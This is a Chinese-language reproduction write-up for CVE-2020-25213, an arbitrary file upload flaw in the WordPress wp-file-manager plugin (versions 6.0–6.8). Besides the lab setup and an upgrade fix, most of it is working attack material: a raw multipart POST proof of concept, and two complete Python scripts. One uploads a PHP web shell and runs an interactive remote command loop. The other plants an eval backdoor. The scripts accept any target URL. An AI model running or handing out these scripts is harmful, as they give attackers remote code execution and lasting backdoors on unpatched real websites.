WordPress插件wp-file-manager任意文件上传漏洞(CVE-2020-25213)

本文涉及的产品
任务调度 XXL-JOB 版免费试用,400 元额度,开发版规格
函数计算FC,每月15万CU 3个月
应用实时监控服务-应用监控,每月50GB免费额度
简介: WordPress插件WPFileManager中存在一个严重的安全漏洞,攻击者可以在安装了此插件的任何WordPress网站上任意上传文件并远程代码执行。

声明

请勿利用文章内的相关技术从事非法测试,由于传播、利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及损失,均由使用者本人负责,所产生的一切不良后果与文章作者无关。该文章仅供学习用途使用。


一、简介


WordPress是使用PHP语言开发的博客平台,用户可以在支持PHP和MySQL数据库的服务器上架设属于自己的网站。也可以把WordPress当作一个内容管理系统(CMS)来使用。


文件管理器允许您直接从WordPress后端编辑、删除、上传、下载、压缩、复制和粘贴文件和文件夹。不必费心使用FTP来管理文件和从一个位置移动文件。有史以来功能最强大、最灵活、最简单的WordPress文件管理解决方案。


二、插件介绍


WP-file-manager是一个旨在帮助WordPress管理员管理其站点上的文件的插件。


该插件包含一个附加库elFinder,它是一个开放源代码文件管理器,旨在创建简单的文件管理界面,并提供文件管理器背后的核心功能。


WP-file-Manager插件以引入漏洞的方式使用了该库。


三、漏洞概述


WordPress6.9之前的文件管理器wp-file-manager插件存在一个严重的安全漏洞,允许远程攻击者上传和执行任意PHP代码,因为它将不安全的示例elFinder连接器文件重命名为具有.php扩展名。


四、影响范围


  • 插件:wp-file-manager
  • 受影响版本:6.0-6.8


五、漏洞分析


参考以下链接:

https://www.anquanke.com/post/id/216990

https://mp.weixin.qq.com/s/NJ-pnecyq7WK6G9KZxMe6A


六、环境搭建


phpStudy+WordPress5.4.1+FileManager6.0


WordPress5.4.1下载地址:https://cn.wordpress.org/wordpress-5.4.1-zh_CN.zip

FileManager插件下载地址: http://plugins.svn.wordpress.org/wp-file-manager/tags/6.0/


安装WordPress,按照配置填写,下一步即可。

image.png

image.png

安装完成,登录到WordPress后台

image.png

安装插件

image.png

image.png

至此环境搭建完成!!!


七、漏洞复现


在URL访问以下链接

/wp-content/plugins/wp-file-manager/lib/php/connector.minimal.php

image.png

页面出现如上错误信息,就说明存在漏洞!


手工验证

POC:

POST /wp-content/plugins/wp-file-manager/lib/php/connector.minimal.php HTTP/1.1

Host: XX.XX.XX.XX

Cache-Control: max-age=0

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9,ak;q=0.8

Cookie: wordpress_80193a4175ed7036a41967a05cc71574=admin%7C1695883149%7CEExrbr7sreMcARy1GBM8e6lpSb6uABoYQkVbFC3fhgb%7Cfbb6d7454936a3506bc8415db7393eb8b1166e04f2cc19fd262e8565c223a456; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_80193a4175ed7036a41967a05cc71574=admin%7C1695883149%7CEExrbr7sreMcARy1GBM8e6lpSb6uABoYQkVbFC3fhgb%7C965f0f042ab63785c800584a93cd3a19288cb149d73f0f25c84ddfa0d3d2b95b; wp-settings-time-1=1694673832; PHPSESSID=qcvboapberh10d2839nt7r5opn

Connection: close

Content-Type: multipart/form-data; boundary=---------------------------402078532114344024151352374707

Content-Length: 474

-----------------------------402078532114344024151352374707

Content-Disposition: form-data; name="upload[0]"; filename="xxx.php"

Content-Type: image/jpeg

<?php phpinfo();?>

-----------------------------402078532114344024151352374707

Content-Disposition: form-data; name="cmd"

upload

-----------------------------402078532114344024151352374707

Content-Disposition: form-data; name="target"

l1_Lw==

-----------------------------402078532114344024151352374707--


Burp抓包将Request数据包进行替换

image.png

在返回包中发现已成功上传文件,访问URL

/wordpress/wp-content/plugins/wp-file-manager/lib/files/xxx.php

image.png

file_Manager_Rce.py

#!/usr/bin/python3

# -*- coding: UTF-8 -*-

"""

@Author  : xDroid

@File    : file_manager_Rce.py

@Time    : 2020/9/21

"""

import requests

requests.packages.urllib3.disable_warnings()

from hashlib import md5

import random

import json

import optparse

import sys

GREEN = '\033[92m'

YELLOW = '\033[93m'

RED = '\033[91m'

ENDC = '\033[0m'

proxies={ 'http':'127.0.0.1:8080', 'https':'127.0.0.1:8080' }

def randmd5():

   new_md5 = md5()

   new_md5.update(str(random.randint(1, 1000)).encode())

   return new_md5.hexdigest()[:6]+'.php'

def file_manager(url):

   if not url:

       print('#Usage : python3 file_manager_upload.py -u http://127.0.0.1')

       sys.exit()

   vuln_url=url.strip()+"/wp-content/plugins/wp-file-manager/lib/php/connector.minimal.php"

   filename=randmd5()

   headers={

       'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:80.0) Gecko/20100101 Firefox/80.0',

       'Content-Type':'multipart/form-data;boundary=---------------------------42474892822150178483835528074'

   }

   data="-----------------------------42474892822150178483835528074\r\nContent-Disposition: form-data; name=\"reqid\"\r\n\r\n1744f7298611ba\r\n-----------------------------42474892822150178483835528074\r\nContent-Disposition: form-data; name=\"cmd\"\r\n\r\nupload\r\n-----------------------------42474892822150178483835528074\r\nContent-Disposition: form-data; name=\"target\"\r\n\r\nl1_Lw\r\n-----------------------------42474892822150178483835528074\r\nContent-Disposition: form-data; name=\"upload[]\"; filename=\"%s\"\r\nContent-Type: application/php\r\n\r\n<?php system($_GET['cmd']); ?>\r\n-----------------------------42474892822150178483835528074\r\nContent-Disposition: form-data; name=\"mtime[]\"\r\n\r\n1597850374\r\n-----------------------------42474892822150178483835528074--\r\n"%filename

   try:

       resp=requests.post(url=vuln_url,headers=headers,data=data,timeout=5, verify=False)

       result = json.loads(resp.text)

       if filename == result['added'][0]['url'].split('/')[-1]:

           print(GREEN+'[+]\t\t'+ENDC+YELLOW+'File Uploaded Success\t\t'+ENDC)

           while(True):

               command = input("请输入执行的命令:")

               if "q" == command:

                   sys.exit()

               exec_url = url+'/wp-content/plugins/wp-file-manager/lib/files/'+filename+'?cmd='+command.strip()

               exec_resp = requests.get(url=exec_url)

               exec_resp.encoding='gb2312'

               print(exec_resp.text)

       else:

           print(RED+'[-]\t\tUploaded failed\t\t'+ENDC)

   except Exception as e:

       print(RED + '[-]\t\tUploaded failed\t\t' + ENDC)

if __name__ == '__main__':

   banner = GREEN+'''

     __ _ _                                                    

    / _(_) | ___   _ __ ___   __ _ _ __   __ _  __ _  ___ _ __  

   | |_| | |/ _ \ | '_ ` _ \ / _` | '_ \ / _` |/ _` |/ _ \ '__|

   |  _| | |  __/ | | | | | | (_| | | | | (_| | (_| |  __/ |    

   |_| |_|_|\___| |_| |_| |_|\__,_|_| |_|\__,_|\__, |\___|_|    

                                               |___/            

                   by: Timeline Sec

                   file manager 6.0-6.8 file upload

   '''+ENDC

   print(banner)

   parser = optparse.OptionParser('python3 %prog' + '-h')

   parser.add_option('-u', dest='url', type='str', help='wordpress url')

   (options, args) = parser.parse_args()

   file_manager(options.url)


file_manager_upload.py

#!/usr/bin/python3

# -*- coding: UTF-8 -*-

"""

@Author  : xDroid

@File    : file_manager.py

@Time    : 2020/9/21

"""

import requests

requests.packages.urllib3.disable_warnings()

from hashlib import md5

import random

import json

import optparse

GREEN = '\033[92m'

YELLOW = '\033[93m'

RED = '\033[91m'

ENDC = '\033[0m'

proxies={ 'http':'127.0.0.1:8080', 'https':'127.0.0.1:8080' }

def randmd5():

   new_md5 = md5()

   new_md5.update(str(random.randint(1, 1000)).encode())

   return new_md5.hexdigest()[:6]+'.php'

def file_manager(url):

   vuln_url=url.strip()+"/wp-content/plugins/wp-file-manager/lib/php/connector.minimal.php"

   filename=randmd5()

   headers={

       'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:80.0) Gecko/20100101 Firefox/80.0',

       'Content-Type':'multipart/form-data;boundary=---------------------------42474892822150178483835528074'

   }

   data="-----------------------------42474892822150178483835528074\r\nContent-Disposition: form-data; name=\"reqid\"\r\n\r\n1744f7298611ba\r\n-----------------------------42474892822150178483835528074\r\nContent-Disposition: form-data; name=\"cmd\"\r\n\r\nupload\r\n-----------------------------42474892822150178483835528074\r\nContent-Disposition: form-data; name=\"target\"\r\n\r\nl1_Lw\r\n-----------------------------42474892822150178483835528074\r\nContent-Disposition: form-data; name=\"upload[]\"; filename=\"%s\"\r\nContent-Type: application/php\r\n\r\n<?php @eval($_POST['cmd']); ?>\r\n-----------------------------42474892822150178483835528074\r\nContent-Disposition: form-data; name=\"mtime[]\"\r\n\r\n1597850374\r\n-----------------------------42474892822150178483835528074--\r\n"%filename

   try:

       resp=requests.post(url=vuln_url,headers=headers,data=data,timeout=10, verify=False)

       result = json.loads(resp.text)

       if filename == result['added'][0]['url'].split('/')[-1]:

           print(GREEN+'[+]\t\t'+ENDC+YELLOW+'File Uploaded Success\t\t'+ENDC)

           print(url+"/wp-content/plugins/wp-file-manager/lib/files/"+filename)

       else:

           print(RED + '[-]\t\tUploaded failed\t\t' + ENDC)

   except Exception as e:

       print(RED + '[-]\t\tUploaded failed\t\t' + ENDC)

if __name__ == '__main__':

   banner = GREEN+'''

     __ _ _                                                    

    / _(_) | ___   _ __ ___   __ _ _ __   __ _  __ _  ___ _ __  

   | |_| | |/ _ \ | '_ ` _ \ / _` | '_ \ / _` |/ _` |/ _ \ '__|

   |  _| | |  __/ | | | | | | (_| | | | | (_| | (_| |  __/ |    

   |_| |_|_|\___| |_| |_| |_|\__,_|_| |_|\__,_|\__, |\___|_|    

                                               |___/            

                   by: Timeline Sec

                   file manager 6.0-6.8 file upload

   '''+ENDC

   print(banner)

   parser = optparse.OptionParser('python3 %prog' + '-h')

   parser.add_option('-u', dest='url', type='str', help='wordpress url')

   (options, args) = parser.parse_args()

   file_manager(options.url)


除了以上两个py脚本外,还可使用wp-file-manager-exploit.sh脚本验证

image.png

八、修复建议


将File Manager插件升级到6.9版本

目录
相关文章
|
17天前
|
存储 监控 安全
用户为啥跳出页面?装这个WordPress插件,直接看回放!
nicen-replay 是一款强大的用户行为监控与回放插件,可完整记录用户在网站上的操作,如点击、滚动、输入等,并以视频形式呈现,助您深度分析用户行为。支持表单填写回放(隐私脱敏)、轻量无感监控,且数据存储于本地服务器,安全合规。适用于电商、内容创作、企业官网等多种场景,帮助优化用户体验和提升转化率。
|
28天前
|
前端开发 数据安全/隐私保护
“WP页面水印助手”的WordPress插件
“WP页面水印助手”的WordPress插件
54 14
|
2月前
|
人工智能 JavaScript 前端开发
一个支持阿里云百炼平台DeepSeek R1大模型(智能体)的Wordpress插件,AI Agent or Chatbot.
这是一个将阿里云DeepSeek AI服务集成到WordPress的聊天机器人插件,支持多轮对话、上下文记忆和自定义界面等功能。用户可通过短代码轻松添加到页面,并支持多种配置选项以满足不同需求。项目采用MIT协议授权,代码仓位于GitHub与Gitee。开发者Chi Leung为长期境外工作,代码注释以英文为主。适合需要在WordPress网站中快速部署AI助手的用户使用。
|
1月前
|
人工智能 搜索推荐 算法
WordPress AI 原创文章自动生成插件-新增智能提示词,文章标题和内容结构智能动态生成
这是一款强大的WordPress AI原创文章自动生成插件,支持仅用核心关键词生成高质量文章。它能自动获取热搜长尾关键词,动态生成吸引人的标题与内容,去AI化特征,符合搜索引擎算法。提供传统与懒人两种模式,支持多语言、智能配图、SEO优化及自动提交搜索引擎。内置DeepSeek等主流API,可24小时全自动运行,大幅提升内容生产效率。
|
2月前
|
API 网络架构
WordPress定时发布插件
这是一款用于WordPress的定时发布插件,可将后台、REST API及草稿箱中的文章按设定时间自动发布,避免文章立即上线。支持指定或随机延迟发布,以及周期性发布草稿箱内容。插件依赖WordPress计划任务功能,确保稳定运行。附产品截图展示设置界面。
80 10
|
27天前
|
人工智能 自然语言处理 搜索推荐
WordPress AI 原创文章自动生成插件,新增自定义生成图片API功能,支持自定义99%的生图API,拓展性超强
这是一款功能强大的WordPress AI原创文章自动生成插件,支持两种智能生成模式:传统自动方式和懒人智能方式。通过AI生成长尾关键词、多语言文章、动态化标题与内容结构,优化SEO效果,去AI特征,吸引更多点击。插件可自动生成配图、TAG标签及摘要,支持24小时无人值守自动化生成文章,并提交至各大搜索引擎。同时提供关键词管理、定时任务、API集成等功能,兼容主流AI模型,助力网站内容创作与SEO优化。适合个人站长及企业用户提升内容生产力。
|
2月前
|
搜索推荐 数据库 SEO
WordPress生成长尾关键词插件
这是一款强大的长尾关键词获取工具,支持从百度、360、搜狗、头条、必应、Yandex、Google等搜索引擎抓取长尾关键词。具备寄生模式,仅需少量种子关键词即可持续扩展;支持自动或手动获取关键词,可将结果导出至文件、数据库表、分类或标签。功能全面,适用于SEO优化与内容创作。产品截图展示了设置界面与长尾关键词获取效果。
54 4
|
2月前
WordPress标签导入插件
本工具可将TXT文件中的标签或分类导入网站,支持标签与分类关联文章。主要功能包括:1. 导入上传的TXT文件或指定文件夹下的标签/分类文件;2. 支持导入至自定义分类/标签;3. 分类或标签可关联已有文章,支持随机或完整关联;4. 可设置关联文章类型、匹配字段及最大关联数量。产品截图展示导入标签或分类的实际效果。
49 3
|
2月前
|
人工智能 自然语言处理 PHP
WordPress果果AI创作插件
果果AI创作是一款强大的AI创作插件,集成百度千帆、讯飞星火、阿里云百炼等8大平台大模型及自定义大模型。通过导入文章标题即可生成内容,支持HTML格式转换、创作指令设置、字数限制、分类发布、状态设置等功能。提供永久免费使用的部分大模型,如百度千帆和讯飞星火Lite版。注意事项包括调整PHP脚本运行超时时间及仅支持文本生成模型。更新新增DeepSeek大模型与max_tokens设置。
67 1
|
2月前
|
搜索推荐 API SEO
WordPress上 好用的自动别名插件
这款插件支持为文章、页面、标签、分类等设置个性化别名,提升网站在搜索引擎中的排名。主要功能包括:自动别名生成(随机字符串、拼音、英文翻译三种规则),兼容自定义内容类型,可重新生成别名确保一致性。通过简单配置,用户能轻松优化URL结构,提高SEO效果。产品截图展示了设置界面及不同别名类型的使用场景。
48 0